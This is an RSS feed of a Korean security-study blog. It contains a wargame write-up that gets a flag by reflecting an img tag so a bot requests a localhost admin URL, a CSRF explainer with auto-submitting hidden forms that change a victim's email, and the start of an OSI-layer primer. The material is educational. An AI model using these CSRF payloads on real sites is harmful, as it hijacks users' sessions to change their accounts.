&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1041&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKBuEV/dJMcahECrng/6T10sQyZNgJgJh6b90jC1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKBuEV/dJMcahECrng/6T10sQyZNgJgJh6b90jC1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKBuEV/dJMcahECrng/6T10sQyZNgJgJh6b90jC1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKBuEV%2FdJMcahECrng%2F6T10sQyZNgJgJh6b90jC1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1041&quot; height=&quot;168&quot; data-origin-width=&quot;1041&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag가 도출되는 것을 볼 수 있다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음..근데 이게 왜 CSRF일까,,? 단순히 파라미터값을 이용해 요청을 보낸 거 같은뎅,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF 자체가 꼭 로그인된 페이지의 쿠키와 같은 인증 권한을 악용하는 것에 국한된 것이 아니라&lt;br /&gt;위 문제에서 처럼 127.0.0.1(로컬호스트)의 주소를 이용하는 서버와 같은 것도 특정 권한으로 큰 맥락으로 봐야 하는 것임&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러니까, 정리하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 직접 /admin/notice_flag?userid=admin 여기에 요청을 한 게 아니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;img&amp;nbsp;src=&quot;http://127.0.0.1:8000/admin/notice_flag?userid=admin&quot;&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 HTML을 /vuln에 반사시키고, 셀리늄 봇 브라우저가 이미지를 불러오게 하면서 요청을 보내게 만들었음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 말하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;피해자 브라우저가 대신 요청을 보내게 만든 것&quot;이 핵심인 것..! --&amp;gt; csrf의 특징&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS, CSRF 두개 다 요청이 필요하지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 요청의 결과로 피해자 브라우저에서 코드가 실행되는 것이 핵심이고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CSRF&lt;/b&gt;는 &lt;span style=&quot;color: #ee2323;&quot;&gt;피해자 브라우저의 권한,상태를 이용&lt;/span&gt;해서 &lt;span style=&quot;color: #ee2323;&quot;&gt;특정 요청&lt;/span&gt; 자체를 보내게 만드는 것이 핵심이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론적으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/admin/notice_flag의 페이지는 누구나 접근이 가능해, userid 파라미터엔 admin 값을 넣는 것도 누구나 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그치만, IP주소는 조작할 수 없고, 로컬호스트로만 접속할 수 있기에 특정권한이라고 볼 수 있다,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서,, CSRF..!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>워게임/web2</category>
      <author>maru_</author>
      <guid isPermaLink="true">https://m4ruru.tistory.com/27</guid>
      <comments>https://m4ruru.tistory.com/27#entry27comment</comments>
      <pubDate>Thu, 4 Jun 2026 21:43:13 +0900</pubDate>
    </item>
    <item>
      <title>CSRF(Cross-Site Request Forgery)</title>
      <link>https://m4ruru.tistory.com/26</link>
      <description>&lt;pre id=&quot;code_1780562202824&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form aciton=&quot;https://maru.com/change-email&quot; method=&quot;POST&quot;
  &amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;attacker@maur.com&quot;&amp;gt;
 &amp;lt;/form&amp;gt;
 
 &amp;lt;script&amp;gt;
   document.forms[0].submit();
 &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;CSRF&lt;/b&gt;(Cross-Site Request Forgery)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;사이트 간 요청 위조&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 어떤 사이트에 로그인된 상태를 이용해서, 공격자가 사용자의 브라우저로 하여금 원치 않는 요청을 보내게 만드는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;csrf의 흐름&lt;/b&gt;을 간단하게 살펴보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. maru 사이트에 로그인함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 브라우저에 maru사이트 쿠키 저장됨 (ex: session=maru123)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 이 상태에서 사용자가 공격자 사이트에 접속함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 공격자 사이트 HTML/JS가 maru사이트로 요청을 발생시킴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들면,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &amp;lt;img src=&quot;https://maru.com/delete&quot;&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- location.href = &quot;https://maru.com/chage?email=ina~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 자동 submit form&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 브라우저는 요청 목적지가 maru.com인 걸 보고 maru.com의 쿠키를 자동 첨부&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. maru사이트 서버가 쿠키만 보고 로그인된 사용자의 요청으로 보고 요청을 처리하면 피해 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;GET / POST&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GET&lt;br /&gt;&lt;/b&gt;- 보통 서버에서 데이터를 가져올 때 사용&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서&lt;/p&gt;
&lt;pre id=&quot;code_1780559208554&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form action=&quot;/search&quot; method=&quot;GET&amp;gt;
  &amp;lt;input name=&quot;q&quot;&amp;gt;
  &amp;lt;button type=&quot;submit&quot;&amp;gt;검색&amp;lt;/button&amp;gt;
 &amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 검색 기능이 있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 검색창에 xss를 입력하고 검색하면 브라우저는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/search?q=xss &lt;/b&gt;요런 주소로 이동한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서는 q=xss 라는 값을 받은 것,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GET의 &lt;span style=&quot;color: #006dd7;&quot;&gt;특징&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;- URL에 데이터가 보인다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;--&amp;gt; 그래서 주소를 복사해서 다른 사람에게 보내도 같은 검색 결과를 볼 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들면, 우리가 네이버 검색 결과 url을 공유하거나 이런것들&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서,&lt;b&gt; GET&lt;/b&gt;은&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 검색하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 게시글 조회&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 상품 목록 보기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 페이지 이동&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 필터 / 정렬 적용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과 같은 &lt;b&gt;데이터 조회 기능&lt;/b&gt;에 잘 어울린다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;POST&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 보통 서버에 데이터를 제출하거나 상태를 바꿀 때 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1780560242507&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form action=&quot;/change-email&quot; method=&quot;POST&quot;&amp;gt;
  &amp;lt;input name=&quot;email&quot;&amp;gt;
  &amp;lt;button type=&quot;submit&quot;&amp;gt;변경&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이메일 변경 기능이 있는 경우에 이렇게 폼을 작성하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 새로운 이메일 주소를 입력하고 제출하면 브라우저는&lt;/p&gt;
&lt;pre id=&quot;code_1780560372505&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;POST /change-email HTTP/1.1
Host: maru.com
Cookie: session=abc123

email=ina@maru.com&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 요청을 서버에 보내는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에서 GET과 다르게 &lt;b&gt;데이터가&lt;/b&gt; url이 아닌 &lt;b&gt;요청 body 안에 들어간다&lt;/b&gt;는 것이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 POST요청은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주소창에 /change-email 이렇게만 보이고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 email=ina@maur.com은 요청 본문에 들어간다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;POST의 &lt;span style=&quot;color: #006dd7;&quot;&gt;특징&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 서버의 상태를 바꾸는 기능에 어울림 (주로 제출, 생성, 변경 같은 것들)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 데이터는 요청 본문에 들어감&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래서 보통&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 로그인&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 회원가입&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 댓글 작성&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 게시글 작성&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 비밀번호 변경&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 이메일 변경&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 결제 요청&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 파일 업로드&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;같은 기능에서 쓰임&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;로그인 예시 코드를 보면&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1780560932460&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form action-&quot;/login&quot; method=&quot;POST&quot;&amp;gt;
  &amp;lt;input name=&quot;id&quot;&amp;gt;
  &amp;lt;input name=&quot;pw&quot; type=&quot;password&quot;&amp;gt;
  &amp;lt;button&amp;gt;로그인&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 코드로 쓰이고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;id = maru&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;pw = 1234&lt;/i&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력을 하면&lt;/p&gt;
&lt;pre id=&quot;code_1780560998576&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;POST /login HTTP/1.1
Host: example.com

id=maru&amp;amp;pw=1234&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 요청이 발생하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;URL은 보통 &lt;b&gt;/login&lt;/b&gt; 이렇게만 보임&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 2개 method 모두 &lt;b&gt;보안적&lt;/b&gt;으로 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GET =&amp;nbsp; URL에 데이터가 노출되므로 민감정보 전달에 부적절&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;POST = URL에 안 보이지만 암호화는 아님&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;--&amp;gt; HTTPS가 있어야 네트워크에서 보호된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;CSRF와 연결해보면,,&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GET은&lt;/p&gt;
&lt;pre id=&quot;code_1780561364915&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;https://a.com/delete-account&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 태그로 브라우저가 GET요청을 보내게 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;img src&amp;gt; 태그 만으로도 요청이 나갈 수 있어 위험함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 그래서 중요한 상태 변경 기능이 GET이면 위험!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마찬가지로 POST도 위험한데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;img src&amp;gt;는 쓸 수 없지만&lt;/p&gt;
&lt;pre id=&quot;code_1780562229040&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form action=&quot;https://a.com/change-email&quot; method=&quot;POST&quot;&amp;gt;
  &amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;attacker@example.com&quot;&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;script&amp;gt;
  document.forms[0].submit();
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 form으로 자동 요청을 제출할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;**forms[0]의 의미는..?**&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 현재 HTML 문서 안에 있는 form들 중 첫 번째 form을 의미&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서,&lt;/p&gt;
&lt;pre id=&quot;code_1780562483407&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form action=&quot;/login&quot; method=&quot;POST&quot;
  &amp;lt;input name=&quot;id&quot;&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;form action=&quot;/search&quot; method=&quot;GET&quot;&amp;gt;
  &amp;lt;input name=&quot;q&quot;&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML이 이렇게 있을 때&lt;/p&gt;
&lt;pre id=&quot;code_1780562592526&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;document.form[0]  // 첫 번째 form: /login
document.form[1] //  두 번째 form: /search&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로,, 인덱스로 순서 표현&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인덱스말고 form에 이름 붙여서 쓰면 더 명확하게 쓸 수 있음&lt;/p&gt;
&lt;pre id=&quot;code_1780563163853&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form id=&quot;maru&quot; action=&quot;https://maru.com/change-email&quot; method=&quot;POST&quot;&amp;gt;
  &amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;attacker@maru.com&quot;&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;script&amp;gt;
  document.getElementBtyId(&quot;maru&quot;).submit();
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요런식으로,, id=이름 붙여서 하면 더 명확&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CSRF를 정리해보면,&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가&lt;span style=&quot;color: #ee2323;&quot;&gt; 로그인한 사이트의 쿠키가 브라우저에 저장&lt;/span&gt;되어 있다는 점을 악용해서,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 공격자 사이트에 접속했을 때 &lt;span style=&quot;color: #ee2323;&quot;&gt;공격자 사이트가 해당 사이트로 요청&lt;/span&gt;을 보내게 만들고, 이때 &lt;span style=&quot;color: #ee2323;&quot;&gt;브라우저가 로그인 쿠키를 자동으로 첨부&lt;/span&gt;하면서 &lt;span style=&quot;color: #ee2323;&quot;&gt;서버가 이를 정상 요청으로 처리&lt;/span&gt;하게 만드는 공격이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 브라우저에 로그인 쿠키가 저장돼 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 공격자 사이트가 해당 사이트로 요청을 보내게 만듦&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 브라우저가 해당 사이트 쿠키를 자동으로 붙임&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 해당 사이트가 그 요청을 정상 요청처럼 처리해버림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;XSS랑 비교해서 정리해보면,&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;XSS&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 피해자 브라우저에서 공격자 스크립트가 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 주로 브라우저 내부 동작을 장악하는 느낌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 쿠키 탈취, 화면 변조, 악성 요청 전송 ,,이런것들&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CSRF&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 피해자 브라우저가 로그인된 상태의 쿠키를 가지고 요청을 보내게 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 주로 로그인된 사용자의 권한을 악용하는 느낌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이메일 변경, 글 작성, 회원 탈퇴 같은 요청 유도 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>web2</category>
      <author>maru_</author>
      <guid isPermaLink="true">https://m4ruru.tistory.com/26</guid>
      <comments>https://m4ruru.tistory.com/26#entry26comment</comments>
      <pubDate>Thu, 4 Jun 2026 20:39:48 +0900</pubDate>
    </item>
    <item>
      <title>네트워크 보안 [계층구조1]</title>
      <link>https://m4ruru.tistory.com/25</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;- 누가 누구한테 어떻게 통신하는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 그 과정에서 어디를 공격할 수 있는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 그걸 막기 위해 어떤 장비나 프로토콜을 쓰는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;네트워크&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 컴퓨터기리 데이터를 주고받기 위한 연결 구조&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;네트워크 보안&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 네트워크 통신 과정에서 정보가 안전하게 오가도록 보호하는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기밀성 : 허가받은 사람만 볼 수 있어야 한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 무결성 : 중간에 내용이 변조되면 안 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 가용성 : 필요할 때 서비스를 사용할 수 있어야 한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 네트워크 공격도 대부분 이 셋 중 하나를 깨뜨리는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;ex)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스니핑 -&amp;gt; 기밀성 침해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 패킷 변조 -&amp;gt; 무결성 침해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DDoS 공격 -&amp;gt; 가용성 침해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;OSI 7계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 7계층 : 응용 계층 Application&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 6계층 : 표현 계층 Presentation&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 5계층 : 세션 계층 Session&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 4계층 : 전송 계층 Transport&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 3계층 : 네트워크 계층 Network&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 2계층 : 데이터링크 계층 Data Link&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 1계층 : 물리 계층 Physical&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1계층 : 물리 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 물리적인 전송을 담당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 데이터가 아직 의미 있는 정보x, 0과 1의 신호로 흐르는 단계&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 데이터 단위 : 비트(Bit)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 전기 신호&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 광 신호&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 케이블&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 허브&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 리피터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2계층 : 데이터링크 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 같은 네트워크 안에서 데이터를 전달하는 계층&lt;/p&gt;
